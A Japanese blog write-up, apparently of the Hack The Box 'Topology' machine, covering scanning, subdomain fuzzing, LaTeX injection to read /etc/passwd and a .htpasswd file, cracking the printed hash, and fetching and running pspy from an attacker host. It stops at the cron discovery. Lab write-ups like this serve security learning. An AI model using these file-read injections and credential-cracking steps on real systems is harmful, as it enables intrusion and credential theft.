0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【Hack The Box】Topology【WriteUp】

Last updated at Posted at 2023-11-05

初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Topology」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

Discovery

ポートスキャン

今回はRustScanで高速スキャンしてみた。(はっや)

┌──(root㉿kali)-[~]
└─# rustscan -a 10.10.11.217 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.217:22
Open 10.10.11.217:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-11 05:30 EDT
Initiating Ping Scan at 05:30
Scanning 10.10.11.217 [4 ports]
Completed Ping Scan at 05:30, 0.23s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:30
Completed Parallel DNS resolution of 1 host. at 05:30, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 05:30
Scanning 10.10.11.217 [2 ports]
Discovered open port 22/tcp on 10.10.11.217
Discovered open port 80/tcp on 10.10.11.217
Completed SYN Stealth Scan at 05:30, 0.23s elapsed (2 total ports)
Nmap scan report for 10.10.11.217
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2023-06-11 05:30:33 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

ポート22、80が公開されてそう。
アクセスしてみる。
1.png
BurpでResponseを調査すると以下のような記載のある個所を発見する。
2.png
ドメインがtopology.htb、サブドメインでlatexがあるみたいだ。
ドメイン周りの設定をしていくか。

Collection

ドメイン環境設定

今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。

┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   

以下を投入。

10.10.11.216    topology.htb latex.topology.htb

疎通確認を行う。

┌──(root㉿kali)-[~]
└─# ping topology.htb

サイト探索

Subdomain探索

以下サイトからサブドメインのリストをダウンロード

┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt

ffufで探索。

┌──(root㉿kali)-[~/work]
└─# ffuf -w bitquark-subdomains-top100000.txt:FUZZ -u http://topology.htb/ -H "HOST: FUZZ.topology.htb" -fs 6767 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://topology.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.topology.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 6767
________________________________________________

[Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 796ms]
    * FUZZ: dev

[Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 5902ms]
    * FUZZ: stats

devstatsが追加で見つかった。これも追加でドメイン設定する。

ブラウザアクセス

実際にアクセスしてみる。

latex.topology.htb

3.png

dev.topology.htb

3a.png
Basic認証が設定されている

stats.topology.htb

3b.png
3c.png
なにやら画像が表示される階層か。

ディレクトリ探索

statsの階層を調べてみる。

┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://stats.topology.htb/                                                                            

  _|. _ _  _  _  _ _|_    v0.4.2                                                                                                                            
 (_||| _) (/_(_|| (_| )                                                                                                                                     
                                                                                                                                                            
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/stats.topology.htb/-_23-06-11_06-27-22.txt

Error Log: /root/.dirsearch/logs/errors-23-06-11_06-27-22.log

Target: http://stats.topology.htb/

[06:27:23] Starting: 
[06:27:46] 403 -  283B  - /.ht_wsr.txt                                     
[06:27:46] 403 -  283B  - /.htaccess.sample
[06:27:46] 403 -  283B  - /.htaccess.orig
[06:27:46] 403 -  283B  - /.htaccess.save
[06:27:46] 403 -  283B  - /.htaccess.bak1
[06:27:47] 403 -  283B  - /.htaccess_sc
[06:27:47] 403 -  283B  - /.htaccessBAK
[06:27:47] 403 -  283B  - /.htaccessOLD
[06:27:47] 403 -  283B  - /.htaccessOLD2                                   
[06:27:47] 403 -  283B  - /.htaccess_extra
[06:27:47] 403 -  283B  - /.htaccess_orig
[06:27:47] 403 -  283B  - /.htm
[06:27:47] 403 -  283B  - /.html
[06:27:47] 403 -  283B  - /.htpasswds
[06:27:47] 403 -  283B  - /.htpasswd_test                                  
[06:27:47] 403 -  283B  - /.httr-oauth
[06:28:00] 403 -  283B  - /.php                                                                    
[06:35:49] 301 -  324B  - /files  ->  http://stats.topology.htb/files/      
[06:35:49] 200 -    1KB - /files/                                           
[06:36:48] 200 -  108B  - /index.html                                       
[06:37:06] 301 -  329B  - /javascript  ->  http://stats.topology.htb/javascript/
[06:41:30] 403 -  283B  - /server-status/                                   
[06:41:30] 403 -  283B  - /server-status                                    
[06:44:11] 403 -  283B  - /~backup                                          
[06:44:11] 403 -  283B  - /~bin
[06:44:11] 403 -  283B  - /~daemon
[06:44:11] 403 -  283B  - /~games                                           
[06:44:11] 403 -  283B  - /~gdm
[06:44:13] 403 -  283B  - /~lp                                              
[06:44:13] 403 -  283B  - /~mail
[06:44:13] 403 -  283B  - /~nobody                                          
[06:44:13] 403 -  283B  - /~news
[06:44:14] 403 -  283B  - /~sync                                            
[06:44:16] 403 -  283B  - /~uucp 

何もなさすぎる。
情報収集はこのくらいにしてlatex.topology.htbのファイル達を調べていこうと思う。

Initial Access

LFI

latex.topology.htbの中でParameterを飛ばすことが出来るのはequation.phpくらいだった。
ブラウザアクセスの画面はこんな感じ。
4.png
何やらLaTexの表記を画像化して返してくれる機能を持っているみたいだ。
LaTexのHackingに関しては以下のサイトで勉強を行った(大学生と研究者くらいじゃないか?この言語触ってるの...)

これらのLaTexを少し試してみる。\lstinputlisting{/etc/passwd}を試してみよう。
5.png
6.png
通ってるみたいだが、Responseが何も見えない(通常であればPNGファイルが帰ってくるはず...)。
ただLaTexのコードが通りそうなことは分かった。

ここでRCEやWrite系のLaTex構文のHackingを行うと痛い目を見る。大体がマシンによってフィルタリングされてエラーが帰ってくる。先ほどみたいにHTTP 200OKが帰ってこないのだ。
これで私はLaTex構文の作成に数時間を費やした。

LaTexについて調べていると以下のサイトを発見する。

$で囲うことでmathモードで特殊文字をそのまま出力出来るみたいだ。
これで画像として出力できるのではと考える。
※出力できないので内部で何かを作ったり、コマンドを打ったりすることに方針を向けるのではなく、出力に合わせる方向でExploitを構築するべきだった。

実際にやってみる。
7.png
8.png
出来た!これでLFI出来そうだ!

htpassed

何か情報がないか探っていくのだが、今回は以下のようにApache HTTP Serverを利用しているみたいだ。
ここら辺の階層を探っていく。
9.png
/etc/httpd/conf/httpd.confがなかったので、/etc/apache2/sites-available/000-default.confを探る。
10a.png
以下のようにResponseがあった。
10b.png
サブドメインがない階層だ。
11.png
devの階層。
12.png
statsの階層。

そういえばdevにはBasic認証があったので.htpasswdがあるのではないかということで、/var/www/dev/.htpasswdを探る。
13.png
14.png
あった!クレデンシャルだ!

Credential Access

以下のファイルを作成する。ここら辺の文字列はOCRでうまく切り出して欲しい。

hash
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0

Johnさんで解析してもらう。

┌──(root㉿kali)-[~/work]
└─# john hash --wordlist=./rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead

15.png
パスワードげっちゅ!!!このクレデンシャルでSSHしてみる。
16.png
いった!!!User権限ゲット!

Privilege Escalation

情報収集

sudo -l

No Passで特権コマンド打てないかなぁとか思いながらsudo -lで確認します

vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley: 
Sorry, user vdaisley may not run sudo on topology.
vdaisley@topology:~$ 

なにもない。

pspy

何かいいプロセス動いてないかなぁ~とか思いながらpspy動かします。
pspyの実行ファイルを以下のサイトから入手。64bit版をダウンロードしましょう。

入手後はターゲットに実行ファイルを送信するために簡易的なWebサーバを立ち上げます。

┌──(root💀kali)-[~/work]
└─# python3 -m http.server 80

攻撃対象サーバからこのファイルをダウンロードしてくるので自分のIPを確認しておきます。
※この場合はtun0

┌──(root💀kali)-[~/work]
└─# ip a                                                                                                                                               1 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever

...
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.14.93/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::101a/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::cf43:caa1:e355:737d/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever

攻撃対象サーバへ転送します。

vdaisley@topology:/tmp$ wget http://10.10.14.93/pspy64

chmod +x ./pspy64をして実行!

vdaisley@topology:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/06/15 10:24:37 CMD: UID=1007  PID=18780  | ./pspy64 
2023/06/15 10:24:37 CMD: UID=33    PID=18158  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=18157  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=18156  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=18155  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=18154  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=18153  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=1007  PID=10749  | /usr/bin/gpg-agent --supervised 
2023/06/15 10:24:37 CMD: UID=33    PID=9862   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=1007  PID=4499   | -bash 
2023/06/15 10:24:37 CMD: UID=1007  PID=4498   | sshd: vdaisley@pts/1 
2023/06/15 10:24:37 CMD: UID=0     PID=4427   | sshd: vdaisley [priv] 
2023/06/15 10:24:37 CMD: UID=33    PID=1610   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1264   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1263   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1261   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1260   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1259   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=1007  PID=1205   | -bash 
2023/06/15 10:24:37 CMD: UID=1007  PID=1202   | sshd: vdaisley@pts/0 
2023/06/15 10:24:37 CMD: UID=1007  PID=1162   | /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2023/06/15 10:24:37 CMD: UID=113   PID=1139   | /usr/libexec/rtkit-daemon 
2023/06/15 10:24:37 CMD: UID=1007  PID=1118   | /usr/bin/pulseaudio --daemonize=no --log-target=journal 
2023/06/15 10:24:37 CMD: UID=1007  PID=1107   | (sd-pam) 
2023/06/15 10:24:37 CMD: UID=1007  PID=1106   | /lib/systemd/systemd --user 
2023/06/15 10:24:37 CMD: UID=33    PID=1068   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1067   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1065   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1064   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1060   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1057   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1056   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1055   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=0     PID=1054   | 
2023/06/15 10:24:37 CMD: UID=33    PID=992    | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=991    | 
2023/06/15 10:24:37 CMD: UID=0     PID=988    | sshd: vdaisley [priv] 
2023/06/15 10:24:37 CMD: UID=33    PID=969    | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=967    | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=965    | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=0     PID=963    | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=0     PID=962    | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2023/06/15 10:24:37 CMD: UID=0     PID=952    | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 
2023/06/15 10:24:37 CMD: UID=1     PID=951    | /usr/sbin/atd -f 
2023/06/15 10:24:37 CMD: UID=0     PID=950    | /usr/bin/python3 /usr/bin/fail2ban-server -xf start 
2023/06/15 10:24:37 CMD: UID=0     PID=935    | /usr/sbin/cron -f 
2023/06/15 10:24:37 CMD: UID=101   PID=883    | /lib/systemd/systemd-resolved 
2023/06/15 10:24:37 CMD: UID=0     PID=782    | /usr/sbin/ModemManager 
2023/06/15 10:24:37 CMD: UID=117   PID=771    | avahi-daemon: chroot helper 
2023/06/15 10:24:37 CMD: UID=0     PID=766    | /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant 
2023/06/15 10:24:37 CMD: UID=0     PID=765    | /usr/lib/udisks2/udisksd 
2023/06/15 10:24:37 CMD: UID=0     PID=764    | /lib/systemd/systemd-logind 
2023/06/15 10:24:37 CMD: UID=104   PID=760    | /usr/sbin/rsyslogd -n -iNONE 
2023/06/15 10:24:37 CMD: UID=0     PID=746    | /usr/lib/policykit-1/polkitd --no-debug 
2023/06/15 10:24:37 CMD: UID=0     PID=745    | /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers 
2023/06/15 10:24:37 CMD: UID=0     PID=739    | /usr/sbin/irqbalance --foreground 
2023/06/15 10:24:37 CMD: UID=0     PID=725    | /usr/sbin/NetworkManager --no-daemon 
2023/06/15 10:24:37 CMD: UID=103   PID=717    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2023/06/15 10:24:37 CMD: UID=117   PID=715    | avahi-daemon: running [topology.local] 
2023/06/15 10:24:37 CMD: UID=0     PID=714    | /usr/lib/accountsservice/accounts-daemon 
2023/06/15 10:24:37 CMD: UID=0     PID=693    | 
2023/06/15 10:24:37 CMD: UID=0     PID=674    | /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0                                                                                                                            
2023/06/15 10:24:37 CMD: UID=0     PID=668    | /usr/bin/vmtoolsd 
2023/06/15 10:24:37 CMD: UID=0     PID=644    | /usr/bin/VGAuthService 
2023/06/15 10:24:37 CMD: UID=102   PID=630    | /lib/systemd/systemd-timesyncd 
2023/06/15 10:24:37 CMD: UID=0     PID=624    | /sbin/auditd 
2023/06/15 10:24:37 CMD: UID=0     PID=596    | /sbin/multipathd -d -s 
2023/06/15 10:24:37 CMD: UID=0     PID=595    | 
2023/06/15 10:24:37 CMD: UID=0     PID=594    | 
2023/06/15 10:24:37 CMD: UID=0     PID=592    | 
2023/06/15 10:24:37 CMD: UID=0     PID=591    | 
2023/06/15 10:24:37 CMD: UID=0     PID=532    | 
2023/06/15 10:24:37 CMD: UID=0     PID=496    | /lib/systemd/systemd-udevd 
2023/06/15 10:24:37 CMD: UID=0     PID=486    | 
2023/06/15 10:24:37 CMD: UID=0     PID=468    | /lib/systemd/systemd-journald 
2023/06/15 10:24:37 CMD: UID=0     PID=414    | 
2023/06/15 10:24:37 CMD: UID=0     PID=413    | 
2023/06/15 10:24:37 CMD: UID=0     PID=362    | 
2023/06/15 10:24:37 CMD: UID=0     PID=339    | 
2023/06/15 10:24:37 CMD: UID=0     PID=333    | 
2023/06/15 10:24:37 CMD: UID=0     PID=331    | 
2023/06/15 10:24:37 CMD: UID=0     PID=330    | 
2023/06/15 10:24:37 CMD: UID=0     PID=327    | 
2023/06/15 10:24:37 CMD: UID=0     PID=326    | 
2023/06/15 10:24:37 CMD: UID=0     PID=325    | 
2023/06/15 10:24:37 CMD: UID=0     PID=301    | 
2023/06/15 10:24:37 CMD: UID=0     PID=300    | 
2023/06/15 10:24:37 CMD: UID=0     PID=299    | 
2023/06/15 10:24:37 CMD: UID=0     PID=298    | 
2023/06/15 10:24:37 CMD: UID=0     PID=297    | 
2023/06/15 10:24:37 CMD: UID=0     PID=296    | 
2023/06/15 10:24:37 CMD: UID=0     PID=295    | 
2023/06/15 10:24:37 CMD: UID=0     PID=294    | 
2023/06/15 10:24:37 CMD: UID=0     PID=293    | 
2023/06/15 10:24:37 CMD: UID=0     PID=292    | 
2023/06/15 10:24:37 CMD: UID=0     PID=291    | 
2023/06/15 10:24:37 CMD: UID=0     PID=290    | 
2023/06/15 10:24:37 CMD: UID=0     PID=289    | 
2023/06/15 10:24:37 CMD: UID=0     PID=288    | 
2023/06/15 10:24:37 CMD: UID=0     PID=287    | 
2023/06/15 10:24:37 CMD: UID=0     PID=286    | 
2023/06/15 10:24:37 CMD: UID=0     PID=285    | 
2023/06/15 10:24:37 CMD: UID=0     PID=284    | 
2023/06/15 10:24:37 CMD: UID=0     PID=283    | 
2023/06/15 10:24:37 CMD: UID=0     PID=282    | 
2023/06/15 10:24:37 CMD: UID=0     PID=280    | 
2023/06/15 10:24:37 CMD: UID=0     PID=279    | 
2023/06/15 10:24:37 CMD: UID=0     PID=263    | 
2023/06/15 10:24:37 CMD: UID=0     PID=262    | 
2023/06/15 10:24:37 CMD: UID=0     PID=257    | 
2023/06/15 10:24:37 CMD: UID=0     PID=243    | 
2023/06/15 10:24:37 CMD: UID=0     PID=242    | 
2023/06/15 10:24:37 CMD: UID=0     PID=241    | 
2023/06/15 10:24:37 CMD: UID=0     PID=240    | 
2023/06/15 10:24:37 CMD: UID=0     PID=239    | 
2023/06/15 10:24:37 CMD: UID=0     PID=238    | 
2023/06/15 10:24:37 CMD: UID=0     PID=237    | 
2023/06/15 10:24:37 CMD: UID=0     PID=236    | 
2023/06/15 10:24:37 CMD: UID=0     PID=235    | 
2023/06/15 10:24:37 CMD: UID=0     PID=234    | 
2023/06/15 10:24:37 CMD: UID=0     PID=233    | 
2023/06/15 10:24:37 CMD: UID=0     PID=232    | 
2023/06/15 10:24:37 CMD: UID=0     PID=231    | 
2023/06/15 10:24:37 CMD: UID=0     PID=230    | 
2023/06/15 10:24:37 CMD: UID=0     PID=229    | 
2023/06/15 10:24:37 CMD: UID=0     PID=228    | 
2023/06/15 10:24:37 CMD: UID=0     PID=227    | 
2023/06/15 10:24:37 CMD: UID=0     PID=226    | 
2023/06/15 10:24:37 CMD: UID=0     PID=225    | 
2023/06/15 10:24:37 CMD: UID=0     PID=224    | 
2023/06/15 10:24:37 CMD: UID=0     PID=223    | 
2023/06/15 10:24:37 CMD: UID=0     PID=222    | 
2023/06/15 10:24:37 CMD: UID=0     PID=221    | 
2023/06/15 10:24:37 CMD: UID=0     PID=220    | 
2023/06/15 10:24:37 CMD: UID=0     PID=219    | 
2023/06/15 10:24:37 CMD: UID=0     PID=218    | 
2023/06/15 10:24:37 CMD: UID=0     PID=217    | 
2023/06/15 10:24:37 CMD: UID=0     PID=216    | 
2023/06/15 10:24:37 CMD: UID=0     PID=215    | 
2023/06/15 10:24:37 CMD: UID=0     PID=214    | 
2023/06/15 10:24:37 CMD: UID=0     PID=213    | 
2023/06/15 10:24:37 CMD: UID=0     PID=212    | 
2023/06/15 10:24:37 CMD: UID=0     PID=211    | 
2023/06/15 10:24:37 CMD: UID=0     PID=210    | 
2023/06/15 10:24:37 CMD: UID=0     PID=209    | 
2023/06/15 10:24:37 CMD: UID=0     PID=208    | 
2023/06/15 10:24:37 CMD: UID=0     PID=207    | 
2023/06/15 10:24:37 CMD: UID=0     PID=206    | 
2023/06/15 10:24:37 CMD: UID=0     PID=205    | 
2023/06/15 10:24:37 CMD: UID=0     PID=204    | 
2023/06/15 10:24:37 CMD: UID=0     PID=203    | 
2023/06/15 10:24:37 CMD: UID=0     PID=202    | 
2023/06/15 10:24:37 CMD: UID=0     PID=158    | 
2023/06/15 10:24:37 CMD: UID=0     PID=157    | 
2023/06/15 10:24:37 CMD: UID=0     PID=144    | 
2023/06/15 10:24:37 CMD: UID=0     PID=141    | 
2023/06/15 10:24:37 CMD: UID=0     PID=132    | 
2023/06/15 10:24:37 CMD: UID=0     PID=130    | 
2023/06/15 10:24:37 CMD: UID=0     PID=128    | 
2023/06/15 10:24:37 CMD: UID=0     PID=127    | 
2023/06/15 10:24:37 CMD: UID=0     PID=126    | 
2023/06/15 10:24:37 CMD: UID=0     PID=125    | 
2023/06/15 10:24:37 CMD: UID=0     PID=124    | 
2023/06/15 10:24:37 CMD: UID=0     PID=123    | 
2023/06/15 10:24:37 CMD: UID=0     PID=122    | 
2023/06/15 10:24:37 CMD: UID=0     PID=121    | 
2023/06/15 10:24:37 CMD: UID=0     PID=120    | 
2023/06/15 10:24:37 CMD: UID=0     PID=119    | 
2023/06/15 10:24:37 CMD: UID=0     PID=118    | 
2023/06/15 10:24:37 CMD: UID=0     PID=117    | 
2023/06/15 10:24:37 CMD: UID=0     PID=116    | 
2023/06/15 10:24:37 CMD: UID=0     PID=115    | 
2023/06/15 10:24:37 CMD: UID=0     PID=114    | 
2023/06/15 10:24:37 CMD: UID=0     PID=113    | 
2023/06/15 10:24:37 CMD: UID=0     PID=112    | 
2023/06/15 10:24:37 CMD: UID=0     PID=111    | 
2023/06/15 10:24:37 CMD: UID=0     PID=110    | 
2023/06/15 10:24:37 CMD: UID=0     PID=109    | 
2023/06/15 10:24:37 CMD: UID=0     PID=108    | 
2023/06/15 10:24:37 CMD: UID=0     PID=107    | 
2023/06/15 10:24:37 CMD: UID=0     PID=106    | 
2023/06/15 10:24:37 CMD: UID=0     PID=105    | 
2023/06/15 10:24:37 CMD: UID=0     PID=104    | 
2023/06/15 10:24:37 CMD: UID=0     PID=103    | 
2023/06/15 10:24:37 CMD: UID=0     PID=102    | 
2023/06/15 10:24:37 CMD: UID=0     PID=101    | 
2023/06/15 10:24:37 CMD: UID=0     PID=100    | 
2023/06/15 10:24:37 CMD: UID=0     PID=99     | 
2023/06/15 10:24:37 CMD: UID=0     PID=98     | 
2023/06/15 10:24:37 CMD: UID=0     PID=97     | 
2023/06/15 10:24:37 CMD: UID=0     PID=96     | 
2023/06/15 10:24:37 CMD: UID=0     PID=95     | 
2023/06/15 10:24:37 CMD: UID=0     PID=94     | 
2023/06/15 10:24:37 CMD: UID=0     PID=93     | 
2023/06/15 10:24:37 CMD: UID=0     PID=92     | 
2023/06/15 10:24:37 CMD: UID=0     PID=91     | 
2023/06/15 10:24:37 CMD: UID=0     PID=89     | 
2023/06/15 10:24:37 CMD: UID=0     PID=88     | 
2023/06/15 10:24:37 CMD: UID=0     PID=85     | 
2023/06/15 10:24:37 CMD: UID=0     PID=84     | 
2023/06/15 10:24:37 CMD: UID=0     PID=83     | 
2023/06/15 10:24:37 CMD: UID=0     PID=82     | 
2023/06/15 10:24:37 CMD: UID=0     PID=81     | 
2023/06/15 10:24:37 CMD: UID=0     PID=80     | 
2023/06/15 10:24:37 CMD: UID=0     PID=79     | 
2023/06/15 10:24:37 CMD: UID=0     PID=78     | 
2023/06/15 10:24:37 CMD: UID=0     PID=77     | 
2023/06/15 10:24:37 CMD: UID=0     PID=35     | 
2023/06/15 10:24:37 CMD: UID=0     PID=30     | 
2023/06/15 10:24:37 CMD: UID=0     PID=29     | 
2023/06/15 10:24:37 CMD: UID=0     PID=28     | 
2023/06/15 10:24:37 CMD: UID=0     PID=27     | 
2023/06/15 10:24:37 CMD: UID=0     PID=26     | 
2023/06/15 10:24:37 CMD: UID=0     PID=25     | 
2023/06/15 10:24:37 CMD: UID=0     PID=24     | 
2023/06/15 10:24:37 CMD: UID=0     PID=23     | 
2023/06/15 10:24:37 CMD: UID=0     PID=22     | 
2023/06/15 10:24:37 CMD: UID=0     PID=21     | 
2023/06/15 10:24:37 CMD: UID=0     PID=20     | 
2023/06/15 10:24:37 CMD: UID=0     PID=18     | 
2023/06/15 10:24:37 CMD: UID=0     PID=17     | 
2023/06/15 10:24:37 CMD: UID=0     PID=16     | 
2023/06/15 10:24:37 CMD: UID=0     PID=15     | 
2023/06/15 10:24:37 CMD: UID=0     PID=14     | 
2023/06/15 10:24:37 CMD: UID=0     PID=13     | 
2023/06/15 10:24:37 CMD: UID=0     PID=12     | 
2023/06/15 10:24:37 CMD: UID=0     PID=11     | 
2023/06/15 10:24:37 CMD: UID=0     PID=10     | 
2023/06/15 10:24:37 CMD: UID=0     PID=9      | 
2023/06/15 10:24:37 CMD: UID=0     PID=8      | 
2023/06/15 10:24:37 CMD: UID=0     PID=6      | 
2023/06/15 10:24:37 CMD: UID=0     PID=5      | 
2023/06/15 10:24:37 CMD: UID=0     PID=4      | 
2023/06/15 10:24:37 CMD: UID=0     PID=3      | 
2023/06/15 10:24:37 CMD: UID=0     PID=2      | 
2023/06/15 10:24:37 CMD: UID=0     PID=1      | /sbin/init 
2023/06/15 10:24:38 CMD: UID=33    PID=18789  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:39 CMD: UID=0     PID=18791  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:39 CMD: UID=0     PID=18790  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:40 CMD: UID=0     PID=18794  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:40 CMD: UID=0     PID=18793  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:40 CMD: UID=0     PID=18792  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:40 CMD: UID=0     PID=18795  | /usr/sbin/apache2 -k start 
2023/06/15 10:25:02 CMD: UID=0     PID=18798  | /bin/sh -c /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18797  | /usr/sbin/CRON -f 
2023/06/15 10:25:02 CMD: UID=0     PID=18796  | /usr/sbin/CRON -f 
2023/06/15 10:25:02 CMD: UID=0     PID=18803  | /bin/sh /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18802  | tr -s   
2023/06/15 10:25:02 CMD: UID=0     PID=18801  | grep enp 
2023/06/15 10:25:02 CMD: UID=0     PID=18800  | /bin/sh /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18799  | /bin/sh /opt/gnuplot/getdata.sh 
2023/06/15 10:25:02 CMD: UID=0     PID=18807  | 
2023/06/15 10:25:02 CMD: UID=0     PID=18806  | /bin/sh /opt/gnuplot/getdata.sh 
